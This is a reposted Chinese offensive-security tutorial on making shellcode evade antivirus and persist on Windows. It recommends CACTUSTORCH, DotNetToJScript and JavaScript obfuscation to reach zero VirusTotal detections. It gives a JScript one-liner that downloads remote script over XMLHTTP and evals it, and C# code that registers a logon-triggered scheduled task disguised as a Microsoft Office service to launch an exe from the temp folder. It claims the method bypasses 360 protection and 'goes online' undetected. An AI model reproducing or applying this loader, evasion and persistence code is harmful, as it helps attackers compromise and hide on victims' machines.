实战 | 免杀shellcode并绕过杀毒添加自启动
2022-12-1 12:23:31 Author: HACK学习君(查看原文) 阅读量:20 收藏

首先得处理好shellcode,尽量把添加自启动的操作独立成一个Loader,可以避免杀毒软件检测到特征并拦截,这边选择的是利用Javascript来处理Shellcode,而添加自启动的操作由C#来控制,并成功实现了绕过360核晶防护添加计划任务完成木马自启动。


Shellcode的部分用CACTUSTORCH完成

CACTUSTORCHhttps://github.com/mdsecactivebreach/CACTUSTORCH

也可以自己C#编译一个再用DotNetToJScript转Javascript语言

C#转JS教程

免杀 MSF Windows Payload 的方法与实践https://wtfsec.org/posts/%e5%85%8d%e6%9d%80-msf-windows-payload-%e7%9a%84%e6%96%b9%e6%b3%95%e4%b8%8e%e5%ae%9e%e8%b7%b5/

处理完的js脚本,推荐使用sojson的混淆代码,可以实现virustotal的57引擎0报毒,链接:Js加密,我一个18年处理的msf shellcode到现在还是0报毒。

JS加密网站https://www.sojson.com/jsobfuscator.html

因为混淆了,所以体积自然会变很大,这边提供一个网络加载的方式,可以把体积缩小到4kb:

var xml=new ActiveXObject("Microsoft.XMLHTTP");xml.open("GET","http://127.0.0.1/ccc.js",false);xml.send();var aaa=xml.responseText;eval(aaa);

因为是WSH模式的,当然还能用WScript.Arguments.Item(0);的方式来传递代码,可以直接注入一个加密的代码,然后在写一段解密的代码会更隐蔽。

再来谈谈添加自启动,因为程序现在不需要处理上面那些行为,所以杀毒不会拦截,代码:

TaskSchedulerClass scheduler = new TaskSchedulerClass();//连接scheduler.Connect(null, null, null, null);//获取创建任务的目录ITaskFolder folder = scheduler.GetFolder("\\");//设置参数ITaskDefinition task = scheduler.NewTask(0);task.RegistrationInfo.Author = "Microsoft Office";//创建者task.RegistrationInfo.Description = "This task monitors the state of your Microsoft Office ClickToRunSvc and sends crash and error logs to Microsoft.";//描述//设置触发机制(此处是 登陆后)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON);//设置动作(此处为运行exe程序)IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC);action.Path = Path.GetTempPath() + @"\" + file + ".exe";//设置文件目录task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PTOS 不开启超时task.Settings.DisallowStartIfOnBatteries = false;//只有在交流电源下才执行task.Settings.RunOnlyIfIdle = false;//仅当计算机空闲下才执行
IRegisteredTask regTask = folder.RegisterTaskDefinition("Office ClickToRun Service Monitor", task,//此处需要设置任务的名称(name) (int)_TASK_CREATION.TASK_CREATE, null, //user null, // password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, "");IRunningTask runTask = regTask.Run(null);

程序添加完自启动,还能顺便把上面网络加载的js脚本释放出来并运行,到发布日期0217能过各种主流杀毒不被查杀并正常上线。

相关代码已经发布在Github上

链接:https://github.com/Hzllaga/JsLoader九世新增的C#内存加载添加计划任务https://github.com/422926799/csplugin/tree/master/%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81


推荐阅读

实战 | 记一次渗透拿下某儿童色情网站的经过

实战 | 某某街一处XSS的绕过思路

实战 | 记一次企业钓鱼演练

2022年,从现在开始学安全还不迟!

干货 | 2022年超全的安全知识库

实战 | 实战一次完整的BC网站渗透测试

来源:https://wtfsec.org/

作者:hzllaga

如有侵权,请联系删除

星球部分精华内容推荐

其他更多精彩内容,欢迎加入我们的星球


文章来源: http://mp.weixin.qq.com/s?__biz=MzIzNzMxMDkxNw==&mid=2247491881&idx=1&sn=cdecb5edea9c3fe51d8aef596ede5425&chksm=e8c82783dfbfae95ca2e36d71645c844c031a11eb52529dfcae40b7b2203da5297abe15a33db#rd
如有侵权请联系:admin#unsafe.sh